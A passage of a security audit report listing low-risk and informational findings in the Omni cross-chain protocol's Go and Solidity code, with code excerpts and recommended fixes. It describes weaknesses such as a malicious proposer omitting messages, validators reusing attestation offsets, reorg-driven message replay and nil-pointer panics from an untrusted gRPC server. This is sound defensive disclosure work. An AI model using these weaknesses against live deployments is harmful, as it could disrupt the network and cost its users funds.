Severity: Low Risk

Context: abci.go#L135

- Description The `Authority` field of the `MsgExecutionPayload` and `MsgAddVotes` is set to their module addresses during `PrepareProposal` but this field is not verified by other validators during `ProcessProposal`.

As Cosmos disabled user transactions and these are privileged messages anyway (and the number of allowed messages is checked), it's unclear if their `Authority` field needs to be verified.

- Recommendation Consider verifying the `Authority` field in `octane/evmengine/keeper/proposal_server.go:ExecutionPayload(msg: MsgExecutionPayload)` and `halo/attest/keeper/proposal_server.go:AddVotes` to ensure a malicious validator did not manipulate these fields.

3.6.165 Risk of Overwriting Deployments

Severity: Low Risk

Context: PortalRegistry.sol#L116-L117

- Description

In the current code, the `register` function allows the owner of the contract to set the deployment details for a specific chain ID. However, there is no check to prevent overwriting an already registered deployment for that chain ID.

Thus, if an actor gains control of the owner account, they could potentially overwrite deployment details and disrupt the system.

This would not be an issue if the contract was expected to update the deployment information frequently, but as per the comment `TODO: allow multiple deployments per chain?`, it seems that overwriting deployments wasn't intended by the developers.

The 'register' function does have the require constraint `require(deployments[dep.chainId].addr == address(0), "PortalRegistry: already set")` which checks if a deployment is already set, but this issue could arise in the future if developers choose to allow multiple deployments per chain during updates.

In a scenario where the developers decide to allow multiple deployments per chain, removing the `require` statement could cause unintended overwrites of existing deployments.

- Recommendation

To avoid overwriting deployments, two main precautions should be taken:

1. If multiple deployments per chain ID should be allowed, consider using an `array` or `map` data structure to store each deployment, thereby preserving old deployments when new ones are added.

2. If only one deployment per chain ID should be allowed and maintaining the `require` constraint may confuse end-users or create an unfriendly developer workflow, consider implementing a method that explicitly updates/edits specific fields of a deployment rather than overwriting the entire data structure.

3.6.166 Double signing of attestation would be a common occurrence

Severity: Low Risk

Context: keeper.go#L234-L257, keeper.go#L669-L689, keeper.go#L783-L796

- Description Double signing of attestation is prevented, but a frequent occurrence of double signing would be wasting compute resources.

```
if ok, err := k.isDoubleSign(ctx, attID, agg, sig); err != nil {
    return err
} else if ok {
    doubleSignCounter.WithLabelValues(sigTup.ValidatorAddress.Hex()).Inc()
    msg = " Ignoring duplicate slashable vote"
}
```

Double signing would be common even though the validators don't double sign because

- `ExtendVote` and `VerifyVoteExtension` only check within the same block for duplicates. But voter.available--which is returned in GetAvailable--would persist over multiple blocks. Each new vote is not extended immediately. It is appended to voter.available, then `ExtendVote` uses `GetAvailable` to pick it up.
- `TrimBehind` of available votes is only done after new approved attestation and it only trims below the voteWindow. It does not TrimBehind after `ExtendVote`.

For example, if approved attestation has reached 100 offset and vote window is 10, TrimBehind would trim votes that are lower than 90 (100-10). Therefore votes of 90-100 would still be extended, verified, and proposed on each halo block. This double voting happens even though the voter didn't double vote.

- Recommendation Trim voter.available after vote has been extended to prevent double voting.

3.6.167 Excess msg.value stuck in bridge contract

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

When bridging from ETH -> Omni or back, `omni.xcall` is called with `msg.value`.

If the `msg.value` is higher than the fee, the excess `msg.value` will be stuck in the OmniPortal contract.

```
 function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
            ↪  amount));

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
            ↪  insufficient fee"
        );
        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

>       omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );
```

- Recommendation

Recommend refunding the excess `msg.value` and sending only the `omni.feeFor` value to the bridge.

3.6.168 Inaccurate gas measurements surrounding excessivelySafeCall

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary Gas calculations in `OmniPortal#_call` don't take into account operations done by excessivelySafeCall
- Finding Description In order to prevent relayers from griefing users transactions the contract calculates the amount of gas used by the call by subtracting the gasLeftAfter from the gasLeftBefore.

```
        uint256 gasLeftBefore = gasleft();

        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪  data });

        uint256 gasLeftAfter = gasleft();
        if (gasLeftAfter <= gasLimit / 63) {
             //..
```

This implementation is flawed because it doesn't take into account gas used by excessivelySafeCall before and after the actual call happens through memory expansions and operations.

```
    function excessivelySafeCall(
        address _target,
        uint256 _gas,
        uint256 _value,
        uint16 _maxCopy,
        bytes memory _calldata
    ) internal returns (bool, bytes memory) {
        // set up for assembly call
        uint256 _toCopy;
        bool _success;
@>   bytes memory _returnData = new bytes(_maxCopy);

        assembly {
            _success := call(
                _gas, // gas
                _target, // recipient
                _value, // ether value
@>              add(_calldata, 0x20), // inloc
@>              mload(_calldata), // inlen
                0, // outloc
                0 // outlen
            )

@>          _toCopy := returndatasize()
...         if gt(_toCopy, _maxCopy) {
                _toCopy := _maxCopy
            }
            mstore(_returnData, _toCopy)
            returndatacopy(add(_returnData, 0x20), 0, _toCopy)
        }
        return (_success, _returnData);
    }
```

- Impact Explanation Low because valid transactions can be with sufficient gas can be unintentionally reverted. This is mostly thwarted by the relayer client allowing for ample excess gas which prevents this from being a serious issue.
- Recommendation (optional) Implement a custom excessivelySafeCall implementation that properly calculates gas directly before and directly after the call.

3.6.169 A validator can vote the same AttestHeader multiple time

Severity: Low Risk

Context: keeper.go#L181-L247, keeper.go#L783-L796, voter.go#L251-L255

- Description AttestHeader is ConsensusChainId, SourceChainId, ConfLevel, and AttestOffset. The voter package prevents AttestHeader from being reused, but there's no stopping if a validator updates their node to allow reusing an offset for the same stream.

ExtendVote and VerifyVoteExtension checks for duplicates of AttestHeader within the same block. AttestHeader includes the SourceChain, ConfLevel and Offset. This would prevent a validator from using the same AttestHeader within the same cBlock, but it won't stop a validator from using the same offset in a different cBlock.

```
duplicate := make(map[xchain.AttestHeader]bool)
for _, vote := range votes.Votes {
    if err := vote.Verify(); err != nil {
        log.Warn(ctx, "Rejecting invalid vote", err)
        return respReject, nil
    }

    if duplicate[vote.AttestHeader.ToXChain()] {
        doubleSignCounter.WithLabelValues(ethAddr.Hex()).Inc()
        log.Warn(ctx, "Rejecting duplicate slashable vote", err)

        return respReject, nil
    }
    duplicate[vote.AttestHeader.ToXChain()] = true
    ...
```

What counts as double voting in `addOne` is attestationRoot. The attestationRoot includes some data that are not in AttestHeader which are BlockHeight, BlockHash and Messages. If any of these changes, a new signature which uses the same AttestHeader as a previous signature from the same validator will be saved successfully.

- Recommendation If you want to prevent a validator from using the same offset for a stream multiple times, you have to do it in addOne.

3.6.170 Initializers are not disabled in the `Upgrade.sol`

Severity: Low Risk

Context: Upgrade.sol#L16

`Upgrade.sol` lacks constructor that would disable initializers on the implementation contract like for example in `Staking.sol`:

```
    constructor() {
        _disableInitializers();
    }
```

3.6.171 ExtendVote Handler is not ADR-064 Compliant

Severity: Low Risk

Context: keeper.go#L676-L681

- Description According to ADR-064 the `ExtendVoteHandler` must not return a non-nil return value link

  If an application decides to implement ExtendVoteHandler, it must return a non-nil Response-ExtendVote.VoteExtension.

- Recomendation

Instead of returning a nil, `extendVoteHandler()` should panic (as it is recomended in ADR-064, check the example implementation)

3.6.172 Bridge withdrawals being capped at 80k gas greatly reduces protocol in integration potential

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary OMNI token withdrawals are capped at XCALL_WITHDRAW_GAS_LIMIT which greatly reduces the bridges use cases in integrating with other protocols
- Finding Description The Omni bridge withdrawal function automatically fills in the gas limit as XCALL_WITHDRAW_GAS_LIMIT.

```
        omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );
```

With no way to specify a custom gas limit, cross blockchain protocols that integrate with the bridge will have limited gas for internal accounting when bridging Omni tokens

- Impact Explanation Limits this Omni bridges viability for integrating with certain protocols through the fallback function.
- Likelihood Explanation Relevant to all protocols who want to integrate with OMNI bridging
- Recommendation (optional) Add an additional function which allows users to specify a custom gas limit and also bridge their OMNI

3.6.173 `_isQuorum` function would return false when there are exactly 2/3 of the votes

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

`_isQuorum` function that responsible for validation voters power per sumbission would return false when there are exactly 2/3 of the votes:

```
File: Quorum.sol
56:     function _isQuorum(uint64 votedPower, uint64 totalPower, uint8 numerator, uint8 denominator)
57:         private
58:         pure
59:         returns (bool)
60:     {
61:         return votedPower * uint256(denominator) > totalPower * uint256(numerator);
62:     }
63: }
```

Meaning that relayer would not be able to submit messages from other chains if rare case when their is exactly 2/3 of validators votes. At the same time, docs states that protocol should work properly in case there is at 2/3 quorum:

```
It is assumed that there is always  quorum of honest validators.
```

- Recommendation Consider updating the `_isQuorum` function so it returns true for the case of 2/3 votes or update docs.

3.6.174 Not all initializers are called in the `OmniPortal#initialize` function

Severity: Low Risk

Context: OmniPortal.sol#L88-L106

Not all initializers are called in the `OmniPortal#initialize` function. It fails to initialize the `PausableUpgradeable` and `ReentrancyGuardUpgradeable` contracts that are inherited.

3.6.175 L1BridgeBalance cannot reflect the bridging status of funds on L1

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The L1BridgeBalance is used to represent the bridging status of funds on L1, but it cannot accurately reflect the true state of L1 funds and may pose risks under extreme conditions for the following reasons:

1. Tokens directly transferred to the L1 bridge are also counted as bridged funds.
2. Since L1 messages may be sent before L2 messages arrive, the actual available balance on L1 may be inaccurate.

- Recommendation

1. First, on L2, we should not directly set the L1BridgeBalance to the balance of the L1 bridge when sending a message. Instead, we should add the amount being bridged to the L1BridgeBalance to ensure it reflects the real available balance on L1.
2. Additionally, on L1, we should add a totalBridged variable to distinguish tokens that were erroneously transferred to the L1 bridge, allowing the administrator to withdraw these tokens.

```
    function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
        require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

-       l1BridgeBalance = l1Balance;
+       l1BridgeBalance += amount;

        (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;

        emit Withdraw(payor, to, amount, success);
    }
```

```
    function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
↪   amount));

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
↪   insufficient fee"
        );
        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");
+       totalDeposit += amount
        omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );

        emit Bridge(payor, to, amount);
    }
```

3.6.176 Nil ptr dereference in `lib/cchain/provider/abci.go` if malicious gRPC server is used

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

`lib/cchain/provider/abci.go` will query the remote Comet gRPC server. Some responses such as `newChainIDFunc` can return nil pointer because of the non-nullable field not being set, which will get dereferenced when called by `abci.go` client causing panic

One of them is `newChainIDFunc`


```go
// newChainIDFunc returns a function that returns the consensus chain ID. It caches the result.
func newChainIDFunc(cmtCl cmtservice.ServiceClient) chainIDFunc {
    var mu sync.Mutex
    var chainID uint64

    return func(ctx context.Context) (uint64, error) {
        mu.Lock()
        defer mu.Unlock()
        if chainID != 0 {
            return chainID, nil
        }

        ctx, span := tracer.Start(ctx, spanName("chain_id"))
        defer span.End()

        resp, err := cmtCl.GetLatestBlock(ctx, &cmtservice.GetLatestBlockRequest{})
        if err != nil {
            return 0, errors.Wrap(err, "abci header")
        }

        chainID, err = netconf.ConsensusChainIDStr2Uint64(resp.SdkBlock.Header.ChainID) // Dereferenced here
        if err != nil {
            return 0, errors.Wrap(err, "parse chain ID")
        }

        return chainID, nil
    }
}
```

```
message GetBlockByHeightResponse {
  .cometbft.types.v1.BlockID block_id = 1;

  // Deprecated: please use `sdk_block` instead
  .cometbft.types.v1.Block block = 2;

  Block sdk_block = 3 [(cosmos_proto.field_added_in) = "cosmos-sdk 0.47"];
}
```

For example, this function use in `lib/cchain/XBlock.go` which might lead to node to panic

```
// XBlock returns the consensus XBlock at the given height/offset or latest, or false if not available, or an
↪  error.
func (p Provider) XBlock(ctx context.Context, height uint64, latest bool) (xchain.Block, bool, error) {
    block, ok, err := p.portalBlock(ctx, height, latest)
    if err != nil {
        return xchain.Block{}, false, err
    } else if !ok {
        return xchain.Block{}, false, nil
    } else if !latest && block.Id != height {
        return xchain.Block{}, false, errors.New("unexpected block height [BUG]")
    } else if len(block.Msgs) == 0 {
        return xchain.Block{}, false, errors.New("unexpected empty block [BUG]")
    }

    chainID, err := p.chainID(ctx)
```

There might be more.

- Recommendation

Check for nil ptrs if the gRPC server is meant to be untrusted

3.6.177 `prouter` does not enforce that the message has at least one of each payload

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

In `ProcessProposal()`, it does not enforce that there is one of each type of payload (MsgExecutionPayload and MsgAddVotes). A malicious proposer can send empty proposal, proposal with only MsgAddVotes and a proposal with only MsgExecutionPayload

```
        // Ensure only expected messages types are included the expected number of times.
        allowedMsgCounts := map[string]int{
            sdk.MsgTypeURL(&etypes.MsgExecutionPayload{}): 1, // Only a single EVM execution payload is
↪  allowed.
            sdk.MsgTypeURL(&atypes.MsgAddVotes{}):         1, // Only a single attest module MsgAddVotes is
↪  allowed.
        }

        for _, rawTX := range req.Txs {
            tx, err := txConfig.TxDecoder()(rawTX)
            if err != nil {
                return rejectProposal(ctx, errors.Wrap(err, "decode transaction"))
            }

            for _, msg := range tx.GetMsgs() {
                typeURL := sdk.MsgTypeURL(msg)

                // Ensure the message type is expected and not included too many times.
                if i, ok := allowedMsgCounts[typeURL]; !ok {
                    return rejectProposal(ctx, errors.New("unexpected message type", "msg_type", typeURL))
                } else if i <= 0 {
                    return rejectProposal(ctx, errors.New("message type included too many times", "msg_type",
↪  typeURL))
                }
                allowedMsgCounts[typeURL]--

                handler := router.Handler(msg)
                if handler == nil {
                    return rejectProposal(ctx, errors.New("msg handler not found [BUG]", "msg_type", typeURL))
                }

                _, err := handler(ctx, msg)
                if err != nil {
                    return rejectProposal(ctx, errors.Wrap(err, "execute message"))
                }
            }
        }
```

- Recommendation

The chain will still progress, but it might be better to perform some validations on the above.

3.6.178 Should only fetch safe block from optimism

Severity: Low Risk

Context: fetch.go#L217-L237

- Description

The code get the block header by block height and then process each block, this approach works fine for ethereum

but not for optimism.

https://docs.optimism.io/builders/app-developers/transactions/statuses

> A transaction is considered "sequencer confirmed" or "unsafe" when it has been included in a block by the Sequencer but that block has not yet been published to Ethereum. Although the transaction is included in a block, it is still possible for the transaction to be excluded from the final blockchain if the Sequencer fails to publish the block to Ethereum within the Sequencing Window (approximately 12 hours). Applications should make sure to consider this possibility when displaying information about transactions that are in this state.

and

> Published to Ethereum or safe
>
> Typically within 5-10 minutes, up to 12 hours
>
> A transaction is considered "safe" when it has been included in a block by the Sequencer and that block has been published to Ethereum but that block is not yet finalized.

In optimism, we should only process message from the safe block, not unsafe block, otherwise the a user post a message of sending fund from optimism to omni,

the message get included and processed, but the unsafe block is not published in ethereum mainnet, this leads to double spending.

- Recommendation

only query safe block for optimism.

3.6.179 The proposer can submit less than 2 messages

Severity: Low Risk

Context: prouter.go#L51-L83

- Description Each block is expected to have 1 MsgAddVotes and 1 MsgExecutionPayload. However, the proposal can submit 0 MsgAddVotes and/or 0 MsgExecutionPayload.
- Recommendation require the total messages to be 2.

3.6.180 Missing Event Emissions in Critical Cross-Chain Network Configuration Updates

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

The `setNetwork` function in the `OmniPortal` contract is crucial for defining the network configuration, including supported chains and shards for cross-chain communication.

This function lacks `event` emissions for critical network configuration updates.

```
function setNetwork(XTypes.Chain[] calldata network_) external {
    require(msg.sender == address(this), "OmniPortal: only self");
    require(_xmsg.sourceChainId == omniCChainId, "OmniPortal: only cchain");
    require(_xmsg.sender == CChainSender, "OmniPortal: only cchain sender");
    _setNetwork(network_);
}
```

In a protocol like `Omni`, where communication is needed across multiple chains, the absence of event emissions in critical `syscall` functions could lead to states getting out of sync. Other components within the ecosystem may not know when `setNetwork` is called, leading them to work with stale or incorrect configurations.

A lack of events might result in a situation where some parts of the system are unaware of the latest valid `chains` or `shards` due to missed notifications, leading to potential transaction failures when a particular chain becomes unsupported after a configuration update.

- Recommendation

Implement Event Emissions: Modify the `setNetwork` function to include event emissions whenever the network configuration is updated.

3.6.181 Reorgs on the destination chain could lead to reverted submissions, relayers would lose the gas and would need to resubmit data

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

In case if reorg happens on the destination chain, the relayer's transactions could be reordered. At the same time, `OmniPortal` logic requires that messages should be submitted-executed in the same order as they were initiated on the source chain. So consider the next scenario:

1. There are two chains A and B. Block time on A is 10 seconds, and on B - 1 second.

2. Relayer submits 10 transactions with the messages from chain B (for its blocks from 20 to 29) to the `OmniPortal` on chain A.
3. All transactions are included in the block on chain A and successfully executed.
4. Reorg happens on chain A and two random relayer's transactions are reordered. Now all transactions that follow the reordered transactions are reverted since portral logic requires only sequential execution. The relayer lost the gas for the execution of all reverted transactions and would be required to resubmit the same transactions again.

Also note, that a similar scenario could even happen without reorg in blocks. In case two supported chains have different block times, the relayer's transactions could be "reordered" in the mempool of the destination chain. Block producers and sequencers have no obligation to keep the order of the transactions the same as it was sent to the mempool or per its gas price, they could order it arbitrarily inside the block.

So if one chain has a block time of 10 seconds and another 1 second - this would mean that most of the time there would be around 10 relayer's transactions in the mempool on the "slow" chain. Switching orders of just two of them could lead to the same described issue.

- Recommendation

The fix is not trivial, a possible solution could be to store valid submissions that are "out of order" in some sort of buffer.

3.6.182 Octane keeper hook do nothing

Severity: Low Risk

Context: hooks.go#L18-L28

- Description

the comment said AfterValidatorBonded updates the signing info start height or create a new signing info.

and AfterValidatorRemoved deletes the address-pubkey relation when a validator is removed,.

but in reality these hood do nothing.

- Recommendation

implement the comment

3.6.183 GetSubmission is vulnerable to frontrunning attacks

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

lib/xchain/provider/fetch.go

```
// GetSubmission returns the submission associated with the transaction hash or an error.
func (p *Provider) GetSubmission(ctx context.Context, chainID uint64, txHash common.Hash) (xchain.Submission,
↪  error) {
    chain, rpcClient, err := p.getEVMChain(chainID)
    if err != nil {
        return xchain.Submission{}, errors.Wrap(err, "get evm chain")
    }

    tx, _, err := rpcClient.TransactionByHash(ctx, txHash)
    if err != nil {
        return xchain.Submission{}, errors.Wrap(err, "tx by hash")
    }

    sub, err := xchain.DecodeXSubmit(tx.Data())
    if err != nil {
        return xchain.Submission{}, errors.Wrap(err, "decode xsubmit")
    }

    return xchain.SubmissionFromBinding(sub, chain.ID)
}
```

This function searches the `xsubmission` calling history of evm with `txHash`.

And with `tx.Data()`, input information is obtained when the `xsubmit` function is called.

This allows an attacker to perform a front running attack.

Now let's say the layer calls the `OmniPortal.xsubmit` function with the input value `xsub`. Suppose an attacker intercepts this `xsub` information by front running and calls the `OmniPortal.xsubmit` function through the already distributed contact. In that case, the corresponding result cannot be obtained by `GetSubmission`.

lib/xchain/abi.go

```
// DecodeXSubmit decodes the xsubmit function call data.
func DecodeXSubmit(txCallData []byte) (bindings.XSubmission, error) {
    const method = "xsubmit"
    m, ok := omniPortalABI.Methods[method]
    if !ok {
        return bindings.XSubmission{}, errors.New("missing method")
    }

    trimmed := bytes.TrimPrefix(txCallData, m.ID)
    if bytes.Equal(trimmed, txCallData) {
        return bindings.XSubmission{}, errors.New("tx data not prefixed with xsubmit method ID")
    }

    unpacked, err := m.Inputs.Unpack(trimmed)
    if err != nil {
        return bindings.XSubmission{}, errors.Wrap(err, "unpack submission")
    }

    wrap := struct {
        Sub bindings.XSubmission
    }{}
    if err := m.Inputs.Copy(&wrap, unpacked); err != nil {
        return bindings.XSubmission{}, errors.Wrap(err, "copy submission")
    }

    return wrap.Sub, nil
}
```


This is because this function decodes `tx.Data`, causing error if the method selector of calldata is not "xsubmit".

- Recommendation

If an error occurs because there is no xsubmit function selector, it may be better to proceed with fetch with emit information.

3.6.184 :: syncWithOmni Fails Due to wrong Gas Limit Calculation

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Summary The syncWithOmni function relies on the length of the operators array to calculate the gasLimit for an external call to the `xcall` function. However, this calculation is insufficient because the length of the operators array may not meet the minimum gas limit required by xcall. As a result, the function could fail if the calculated gas limit is lower than the xmsgMinGasLimit, which is required by the xcall function. Additionally, this introduces instability, particularly when the operators array has fewer entries, potentially preventing necessary synchronization with Omni.
- Vuln Details

```
function syncWithOmni() external payable whenNotPaused {
    Operator[] memory ops = _getOperators();
    omni.xcall{ value: msg.value }(
        omniChainId,
        ConfLevel.Finalized,
        ethStakeInbox,
        abi.encodeWithSelector(IEthStakeInbox.sync.selector, ops),
        _xcallGasLimitFor(ops.length) // Gas limit is based on operators count <---
    );
}
```

The helper function `_xcallGasLimitFor` uses `ops.length` to set the gas limit, which will never meet `xmsgMinGasLimit`.

```
 function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");     <---
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```


However, in `xcall`, a minimum gas limit (`xmsgMinGasLimit`) is enforced, as seen here:

```
require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
```

If `_xcallGasLimitFor(ops.length)` calculates a gas limit lower than `xmsgMinGasLimit`, this require statement will revert, causing the syncWithOmni function to fail.

- Impact

  The `syncWithOmni` function will revert when the calculated gas limit is lower than xmsgMinGasLimit. This failure will prevent operators from being synchronized with the Omni protocol, potentially resulting in stale or inconsistent state. WELL THE OmniAVS.sol is out of scope that why I made it a low

- Recommendation

```
function syncWithOmni() external payable whenNotPaused {
        Operator[] memory ops = _getOperators();
        omni.xcall{ value: msg.value }(
            omniChainId,
            ConfLevel.Finalized,
            ethStakeInbox,
            abi.encodeWithSelector(IEthStakeInbox.sync.selector, ops),
-            _xcallGasLimitFor(ops.length)
        );
    }
```

```
function syncWithOmni() external payable whenNotPaused {
    Operator[] memory ops = _getOperators();

    // Calculate the gas limit as base plus per-operator increment
+    uint64 gasLimit = xcallBaseGasLimit + (xcallGasLimitPerOperator * uint64(ops.length));

    // Call xcall with the computed gas limit
    omni.xcall{ value: msg.value }(
        omniChainId,
        ConfLevel.Finalized,
        ethStakeInbox,
        abi.encodeWithSelector(IEthStakeInbox.sync.selector, ops),
+        gasLimit // Using calculated gas limit
    );
}
```

3.6.185 Transactions can be replayed due to re-orgs

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description In case a re-org happens to move a transaction from an earlier block to a later one (for eg: from 100 to 110), it could be delivererd to the destination chain twice as on a re-org the strategy is simply to continue voting for further blocks. ie. if a re-org was detected at 105 by a voter, it will attempt to vote for blocks starting from 106. Hence if 2/3 of the voters vote for the same re-orged message, it will be delivered twice

https://github.com/omni-network/omni/blob/b4a803e79ba3dd72095ee098650d45ec3c6ee889/halo/attest/voter/voter.go#L225-L254 Strategy on re-org is to simply start voting from the next block after re-iterating from the finalized one

```
            if err := detectReorg(chainVer, prevBlock, block, streamOffsets); err != nil {
                reorgTotal.WithLabelValues(v.network.ChainVersionName(chainVer)).Inc()
                // Restart stream, recalculating block offset from finalized version.


                return err
            }
            prevBlock = &block


            if !block.ShouldAttest(chain.AttestInterval) {
                maybeDebugLog(ctx, "Not creating vote for empty cross chain block")


                return nil // Do not vote for empty blocks.
            }


            attestOffset, err := tracker.NextAttestOffset(block.BlockHeight)
            if err != nil {
                return errors.Wrap(err, "next attestation offset")
            }


            // Create a vote for the block.
            attHeader := xchain.AttestHeader{
                ConsensusChainID: v.cChainID,
                ChainVersion:     chainVer,
                AttestOffset:     attestOffset,
            }


=>          if attestOffset < skipBeforeOffset {
                maybeDebugLog(ctx, "Skipping previously voted block on startup", "attest_offset",
↪  attestOffset, "skip_before_offset", skipBeforeOffset)


                return nil // Do not vote for offsets already approved or that we voted for previously (this
↪  risks double signing).
```

- Recommendation Communicate this risk with integrators

3.7 Informational

3.7.1 MinimalForwarder is not meant to be used in prod, leading to unknown behavior

Severity: Informational

Context: OmniPortal.sol#L307-L312

Description: The creators of the library `MinimalForwarder.sol`, OpenZeppelin, noted the following in one of their Medium findings of the audit they have conducted on Scroll:

```
The trusted forwarder that it depends on is the `MinimalForwarder` ...
However, the `MinimalForwarder` is not ready for production use and is mainly meant for testing.
```

- https://blog.openzeppelin.com/scroll-gasswap-multiple-verifier-wrapped-ether-and-diff-audit
  - The Medium finding is titled: **Use of Non-Production-Ready Trusted Forwarder**

We can also see the following comment in `MinimalForwarder.sol`:

```
import "../utils/cryptography/EIP712.sol";

/**
 * @dev Simple minimal forwarder to be used together with an ERC2771 compatible contract. See {ERC2771Context}.
 *
 * MinimalForwarder is mainly meant for testing, as it is missing features to be a good production-ready
↪  forwarder. This
 * contract does not intend to have all the properties that are needed for a sound forwarding system. A fully
 * functioning forwarding system with good properties requires more complexity. We suggest you look at other
↪  projects
 * such as the GSN which do have the goal of building a system like that.
 */
```

- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18ac02contracts/metatx/MinimalForwarder.sol#L9-L16

This means that OpenZeppelin has deemed the code inside this library not production ready since the code does not consistent the properties needed for a sound forwarding system.

However, this code from the library has been implemented inside `OmniPortal.sol`:

```
if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
            ↪  exception
            assembly {
                invalid()
            }
        }
```

This check:

- `if (gasLeftAfter <= gasLimit / 63)`

is too constrained. It should be:

- `if (gasLeftAfter < gasLimit / 63)`

as per the code that is production ready(which also got recommended in the Scroll audit, done by the OpenZeppelin team):

```
        if (gasLeft < request.gas / 63) {
```

- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/metatx/ERC2771Forwarder.sol#L360

Impact: Undefined behavior is expected, as per OpenZeppelin Team. The current constrains can limit the functionality of `OmniPortal.sol`. **Recommendation**: At a minimum, it would be advisable to change the <= to <.

3.7.2 `Excess value` sent to the OmniPortal is `donated` to the protocol

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Context The excess not being refunded goes against the normal EVM principle that unspent gas is being refunded. Nevertheless, the following `Know Issue` certify and invalidate finding in that regards, agreed. My report will touch on another level of excess, so the excess of the actual gas limit itself.

```
Fee refunds
Each xcall checks that the user pays enough fees based on the destChainId, the data used in the xcall, and the
↪  gasLimit. While a user may accidentally or intentionally pay more than this required amount in the true
↪  execution on the destination, any excess payment will not be refunded.
Fee refunds are desirable, but will are out of scope for v1.0
```

- Description While most dApp that interact with `OmniPortal::xcall` will do this using `XAppBasedApp` which call also `feeFor` and transfer that exact value, the user will have to call the corresponding `feeFor` in a separete transaction (view) to gather the fee first. So the flow is:

1. User call the corresponding feeFor to gather the fees required.
2. User interact with the dApp sending the msg.value (calculated in step 1)
3. User transaction is executed and included into an L2 block.

There is a window of time between Step1 and Step3 which might cause the fees to fluctuate which lead to 3 possible outcome:

- `Fees remains the same`: all good and fair for everyone (in case the user sent the exact fees amount)
- `Fees increase`: transaction will revert in `xcall` if the user sent the exact fees amount. Now the protocol is giving some flexibility to the user by allowing him to send more value then the exact fee, which is good, but the problem is that the `excess is not refunded`, which seems a bit unfair. To ensure the transaction doesn't revert, how much excess the user should be sending? If this is more then the cost of the reverted transaction, that would not make sense for him. Is he aware that the excess will be donated to the protocol? It's impossible to know how much he should send in advance as will depends in price change in FeeOracle contract, which are updated every 5 min. by the monitor service.
- `Fees decrease`: transaction will work and the excess is donated to the protocol, fair? Is the user aware?

As mention is the context, this is another level of excess, hence not the excess being paid in advance and if unspent on the destination chain not being refunded. It's an excess of the gas limit itself provider by the user to ensure the tx doesn't revert. Or in case the fees actually decreased, the user migth have sent the exact amount, but now would be considered an excess.

- Impact `Medium` as it might not be important for a single user and single transaction, but in aggregates the amount of excess fee collected will become important. The portal will be used for every cross-chain transaction, so widly used.
- Likelihood `Medium` as `FeeOracle` is updated every `5 min.` by the monitor service in case of price changes (token & gas price) so price fluctuation in the critical window will happen definitely from time to time.
